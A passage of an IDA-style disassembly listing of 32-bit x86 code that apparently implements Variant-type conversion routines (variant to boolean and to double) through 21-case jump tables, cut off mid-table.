; ---------------------------------------------------------------------------


loc_4000FF9A:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	word ptr [ebx+8], 0 ; jumptable	4000FE6B case 18
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FFA8:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	dword ptr [ebx+8], 0 ; jumptable 4000FE6B case 19
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FFB5:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		cmp	dword ptr [ebx+0Ch], 0 ; jumptable 4000FE6B case 20
		jnz	short loc_4000FFBF
		cmp	dword ptr [ebx+8], 0


loc_4000FFBF:				; CODE XREF: sub_4000FE58+161j
		setnz	al
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FFCA:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		mov	eax, [ebx+8]	; jumptable 4000FE6B case 12
		call	sub_4000FE58
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FFDA:				; CODE XREF: sub_4000FE58+13j
					; DATA XREF: sub_4000FE58:off_4000FE72o
		mov	eax, ebx	; jumptable 4000FE6B cases 9,13
		call	sub_4000FD68
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4000FFE9:				; CODE XREF: sub_4000FE58+Dj
					; sub_4000FE58+13j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 4000FE6B cases 10,14,15
		sub	dx, 100h
		jz	short loc_4000FFF9
		dec	dx
		jz	short loc_40010008
		jmp	short loc_40010017
; ---------------------------------------------------------------------------


loc_4000FFF9:				; CODE XREF: sub_4000FE58+198j
		mov	eax, ebx
		call	sub_4000FCA4
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_40010008:				; CODE XREF: sub_4000FE58+19Dj
		mov	eax, ebx
		call	sub_4000FDA8
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_40010017:				; CODE XREF: sub_4000FE58+19Fj
		test	ah, 40h
		jz	loc_40010187
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_4001017B	; default
					; jumptable 40010031 cases 0,1,9,10,13-15
		jmp	ds:off_40010038[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010038	dd offset loc_4001017B	; DATA XREF: sub_4000FE58+1D9r
		dd offset loc_4001017B	; jump table for switch	statement
		dd offset loc_4001008C
		dd offset loc_4001009C
		dd offset loc_400100AB
		dd offset loc_400100C3
		dd offset loc_400100DB
		dd offset loc_400100F3
		dd offset loc_4001010B
		dd offset loc_4001017B
		dd offset loc_4001017B
		dd offset loc_4001011A
		dd offset loc_4001016E
		dd offset loc_4001017B
		dd offset loc_4001017B
		dd offset loc_4001017B
		dd offset loc_40010129
		dd offset loc_40010135
		dd offset loc_40010141
		dd offset loc_4001014E
		dd offset loc_4001015A
; ---------------------------------------------------------------------------


loc_4001008C:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 2
		cmp	word ptr [eax],	0
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4001009C:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 3
		cmp	dword ptr [eax], 0
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_400100AB:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 4
		fld	dword ptr [eax]
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_400100C3:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 5
		fld	qword ptr [eax]
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_400100DB:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 6
		fild	qword ptr [eax]
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_400100F3:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 7
		fld	qword ptr [eax]
		fcomp	ds:flt_400101A8
		fstsw	ax
		sahf
		setnz	[esp+8+var_8]
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4001010B:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, ebx	; jumptable 40010031 case 8
		call	sub_4000FCA4
		mov	[esp+8+var_8], al
		jmp	loc_4001019E
; ---------------------------------------------------------------------------


loc_4001011A:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 11
		cmp	word ptr [eax],	1
		sbb	eax, eax
		inc	eax
		mov	[esp+8+var_8], al
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_40010129:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 16
		cmp	byte ptr [eax],	0
		setnz	[esp+8+var_8]
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_40010135:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 17
		cmp	byte ptr [eax],	0
		setnz	[esp+8+var_8]
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_40010141:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 18
		cmp	word ptr [eax],	0
		setnz	[esp+8+var_8]
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_4001014E:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 19
		cmp	dword ptr [eax], 0
		setnz	[esp+8+var_8]
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_4001015A:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 20
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40010166
		cmp	dword ptr [eax], 0


loc_40010166:				; CODE XREF: sub_4000FE58+309j
		setnz	al
		mov	[esp+8+var_8], al
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_4001016E:				; CODE XREF: sub_4000FE58+1D9j
					; DATA XREF: sub_4000FE58:off_40010038o
		mov	eax, [ebx+8]	; jumptable 40010031 case 12
		call	sub_4000FE58
		mov	[esp+8+var_8], al
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_4001017B:				; CODE XREF: sub_4000FE58+1D3j
					; sub_4000FE58+1D9j
					; DATA XREF: ...
		mov	eax, ebx	; default
					; jumptable 40010031 cases 0,1,9,10,13-15
		call	sub_4000FD68
		mov	[esp+8+var_8], al
		jmp	short loc_4001019E
; ---------------------------------------------------------------------------


loc_40010187:				; CODE XREF: sub_4000FE58+1C2j
		mov	edx, esp
		mov	eax, ebx
		call	sub_4000FE0C
		test	al, al
		jnz	short loc_4001019E
		mov	eax, ebx
		call	sub_4000FD68
		mov	[esp+8+var_8], al


loc_4001019E:				; CODE XREF: sub_4000FE58+72j
					; sub_4000FE58+91j ...
		movzx	eax, [esp+8+var_8]
		pop	edx
		pop	ebx
		retn
sub_4000FE58	endp

; ---------------------------------------------------------------------------
		align 4
flt_400101A8	dd 0.0			; DATA XREF: sub_4000FE58+B4r
					; sub_4000FE58+CAr ...

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400101AC	proc near		; CODE XREF: sub_4001036C+FEp
					; sub_4001036C+1B9p ...

var_24		= dword	ptr -24h
var_20		= tbyte	ptr -20h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		xor	edx, edx
		mov	[ebp+var_24], edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40010261
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001AFF0
		mov	eax, [eax]
		call	eax
		mov	edx, eax
		sub	edx, 80020005h
		jz	short loc_40010201
		sub	edx, 7FFDFFFBh
		jnz	short loc_40010237
		jmp	short loc_40010243
; ---------------------------------------------------------------------------


loc_40010201:				; CODE XREF: sub_400101AC+49j
		lea	eax, [ebp+var_24]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_20]
		call	sub_40008E74
		test	al, al
		jz	short loc_40010224
		fld	[ebp+var_20]
		fstp	[ebp+var_10]
		wait
		jmp	short loc_40010243
; ---------------------------------------------------------------------------


loc_40010224:				; CODE XREF: sub_400101AC+6Dj
		movzx	edx, word ptr [ebx]
		mov	cx, 5
		mov	eax, 80020005h
		call	sub_4000E034
		jmp	short loc_40010243
; ---------------------------------------------------------------------------


loc_40010237:				; CODE XREF: sub_400101AC+51j
		movzx	edx, word ptr [ebx]
		mov	cx, 5
		call	sub_4000E034


loc_40010243:				; CODE XREF: sub_400101AC+53j
					; sub_400101AC+76j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010268


loc_40010250:				; CODE XREF: sub_400101AC+BAj
		lea	eax, [ebp+var_24]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_40010261:				; DATA XREF: sub_400101AC+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40010250
; ---------------------------------------------------------------------------


loc_40010268:				; CODE XREF: sub_400101AC+B4j
					; DATA XREF: sub_400101AC+9Fo
		fld	[ebp+var_10]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400101AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40010270	proc near		; CODE XREF: sub_4001036C+199p
					; sub_4001036C+349p ...

var_1C		= qword	ptr -1Ch
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, eax
		lea	eax, [esp+1Ch+var_14]
		push	eax
		call	sub_4000CDD8
		push	5
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+2Ch+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 5
		call	sub_4000E034
		mov	eax, [esp+1Ch+var_C]
		mov	dword ptr [esp+1Ch+var_1C], eax
		mov	eax, [esp+1Ch+var_8]
		mov	dword ptr [esp+1Ch+var_1C+4], eax
		fld	[esp+1Ch+var_1C]
		add	esp, 18h
		pop	ebx
		retn
sub_40010270	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400102BC	proc near		; CODE XREF: sub_4001036C+1C9p

var_18		= byte ptr -18h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40010311
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_18]
		call	sub_4000E700
		lea	eax, [ebp+var_18]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_18]
		call	sub_4001036C
		fstp	[ebp+var_8]
		wait
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010318


loc_40010308:				; CODE XREF: sub_400102BC+5Aj
		lea	eax, [ebp+var_18]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40010311:				; DATA XREF: sub_400102BC+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40010308
; ---------------------------------------------------------------------------


loc_40010318:				; CODE XREF: sub_400102BC+54j
					; DATA XREF: sub_400102BC+47o
		fld	[ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400102BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40010320	proc near		; CODE XREF: sub_4001036C+358p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_40010362
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	5
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		mov	eax, [esp+20h+var_14]
		mov	[edi], eax
		mov	eax, [esp+20h+var_10]
		mov	[edi+4], eax


loc_40010362:				; CODE XREF: sub_40010320+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40010320	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001036C	proc near		; CODE XREF: sub_4000E9CC+116p
					; sub_400102BC+36p ...

var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFECh
		mov	ebx, eax
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_40010513	; default
					; jumptable 40010381 cases 10,14,15
		jmp	ds:off_40010388[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010388	dd offset loc_400103DC	; DATA XREF: sub_4001036C+15r
		dd offset loc_400103EA	; jump table for switch	statement
		dd offset loc_4001040E
		dd offset loc_4001041A
		dd offset loc_40010426
		dd offset loc_40010432
		dd offset loc_40010444
		dd offset loc_40010456
		dd offset loc_40010468
		dd offset loc_40010503
		dd offset loc_40010513
		dd offset loc_40010478
		dd offset loc_400104F2
		dd offset loc_40010503
		dd offset loc_40010513
		dd offset loc_40010513
		dd offset loc_4001048D
		dd offset loc_400104A2
		dd offset loc_400104B7
		dd offset loc_400104CC
		dd offset loc_400104E6
; ---------------------------------------------------------------------------


loc_400103DC:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		xor	eax, eax	; jumptable 40010381 case 0
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400103EA:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		cmp	byte_4001AA10, 0 ; jumptable 40010381 case 1
		jz	short loc_40010400
		mov	dx, 5
		mov	ax, 1
		call	sub_4000DBF4


loc_40010400:				; CODE XREF: sub_4001036C+85j
		xor	eax, eax
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001040E:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		fild	word ptr [ebx+8] ; jumptable 40010381 case 2
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001041A:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		fild	dword ptr [ebx+8] ; jumptable 40010381 case 3
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010426:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		fld	dword ptr [ebx+8] ; jumptable 40010381 case 4
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010432:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, [ebx+8]	; jumptable 40010381 case 5
		mov	dword ptr [esp+18h+var_18], eax
		mov	eax, [ebx+0Ch]
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010444:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		fild	qword ptr [ebx+8] ; jumptable 40010381 case 6
		fdiv	ds:flt_400106E0
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010456:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, [ebx+8]	; jumptable 40010381 case 7
		mov	dword ptr [esp+18h+var_18], eax
		mov	eax, [ebx+0Ch]
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010468:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, ebx	; jumptable 40010381 case 8
		call	sub_400101AC
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010478:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		movsx	eax, word ptr [ebx+8] ;	jumptable 40010381 case	11
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001048D:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		movsx	eax, byte ptr [ebx+8] ;	jumptable 40010381 case	16
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400104A2:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		movzx	eax, byte ptr [ebx+8] ;	jumptable 40010381 case	17
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400104B7:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		movzx	eax, word ptr [ebx+8] ;	jumptable 40010381 case	18
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400104CC:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, [ebx+8]	; jumptable 40010381 case 19
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400104E6:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		fild	qword ptr [ebx+8] ; jumptable 40010381 case 20
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400104F2:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, [ebx+8]	; jumptable 40010381 case 12
		call	sub_4001036C
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010503:				; CODE XREF: sub_4001036C+15j
					; DATA XREF: sub_4001036C:off_40010388o
		mov	eax, ebx	; jumptable 40010381 cases 9,13
		call	sub_40010270
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010513:				; CODE XREF: sub_4001036C+Fj
					; sub_4001036C+15j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 40010381 cases 10,14,15
		sub	dx, 100h
		jz	short loc_40010523
		dec	dx
		jz	short loc_40010533
		jmp	short loc_40010543
; ---------------------------------------------------------------------------


loc_40010523:				; CODE XREF: sub_4001036C+1AEj
		mov	eax, ebx
		call	sub_400101AC
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010533:				; CODE XREF: sub_4001036C+1B3j
		mov	eax, ebx
		call	sub_400102BC
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010543:				; CODE XREF: sub_4001036C+1B5j
		test	ah, 40h
		jz	loc_400106C0
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_400106B3	; default
					; jumptable 4001055D cases 0,1,9,10,13-15
		jmp	ds:off_40010564[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010564	dd offset loc_400106B3	; DATA XREF: sub_4001036C+1F1r
		dd offset loc_400106B3	; jump table for switch	statement
		dd offset loc_400105B8
		dd offset loc_400105C6
		dd offset loc_400105D4
		dd offset loc_400105E2
		dd offset loc_400105F6
		dd offset loc_4001060A
		dd offset loc_4001061E
		dd offset loc_400106B3
		dd offset loc_400106B3
		dd offset loc_4001062E
		dd offset loc_400106A5
		dd offset loc_400106B3
		dd offset loc_400106B3
		dd offset loc_400106B3
		dd offset loc_40010645
		dd offset loc_40010659
		dd offset loc_4001066D
		dd offset loc_40010681
		dd offset loc_4001069A
; ---------------------------------------------------------------------------


loc_400105B8:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 2
		fild	word ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400105C6:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 3
		fild	dword ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400105D4:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 4
		fld	dword ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400105E2:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 5
		mov	edx, [eax]
		mov	dword ptr [esp+18h+var_18], edx
		mov	edx, [eax+4]
		mov	dword ptr [esp+18h+var_18+4], edx
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_400105F6:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 6
		fild	qword ptr [eax]
		fdiv	ds:flt_400106E0
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001060A:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 7
		mov	edx, [eax]
		mov	dword ptr [esp+18h+var_18], edx
		mov	edx, [eax+4]
		mov	dword ptr [esp+18h+var_18+4], edx
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001061E:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, ebx	; jumptable 4001055D case 8
		call	sub_400101AC
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_4001062E:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 11
		movsx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	loc_400106D8
; ---------------------------------------------------------------------------


loc_40010645:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 16
		movsx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_40010659:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 17
		movzx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_4001066D:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 18
		movzx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_40010681:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 19
		mov	eax, [eax]
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_4001069A:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 20
		fild	qword ptr [eax]
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_400106A5:				; CODE XREF: sub_4001036C+1F1j
					; DATA XREF: sub_4001036C:off_40010564o
		mov	eax, [ebx+8]	; jumptable 4001055D case 12
		call	sub_4001036C
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_400106B3:				; CODE XREF: sub_4001036C+1EBj
					; sub_4001036C+1F1j
					; DATA XREF: ...
		mov	eax, ebx	; default
					; jumptable 4001055D cases 0,1,9,10,13-15
		call	sub_40010270
		fstp	[esp+18h+var_18]
		wait
		jmp	short loc_400106D8
; ---------------------------------------------------------------------------


loc_400106C0:				; CODE XREF: sub_4001036C+1DAj
		mov	edx, esp
		mov	eax, ebx
		call	sub_40010320
		test	al, al
		jnz	short loc_400106D8
		mov	eax, ebx
		call	sub_40010270
		fstp	[esp+18h+var_18]
		wait


loc_400106D8:				; CODE XREF: sub_4001036C+79j
					; sub_4001036C+9Dj ...
		fld	[esp+18h+var_18]
		add	esp, 14h
		pop	ebx
		retn
sub_4001036C	endp

; ---------------------------------------------------------------------------
flt_400106E0	dd 1.0e4		; DATA XREF: sub_4001036C+DBr
					; sub_4001036C+28Fr

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400106E4	proc near		; CODE XREF: sub_4000E9CC+FCp

var_14		= qword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		cmp	eax, 14h	; switch 21 cases
		ja	loc_40010825	; default
					; jumptable 400106FF cases 5-10,12-15
		jmp	ds:off_40010706[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40010706	dd offset loc_4001075A	; DATA XREF: sub_400106E4+1Br
		dd offset loc_40010764	; jump table for switch	statement
		dd offset loc_40010784
		dd offset loc_40010793
		dd offset loc_400107A2
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_400107B0
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_40010825
		dd offset loc_400107C6
		dd offset loc_400107DC
		dd offset loc_400107EF
		dd offset loc_40010802
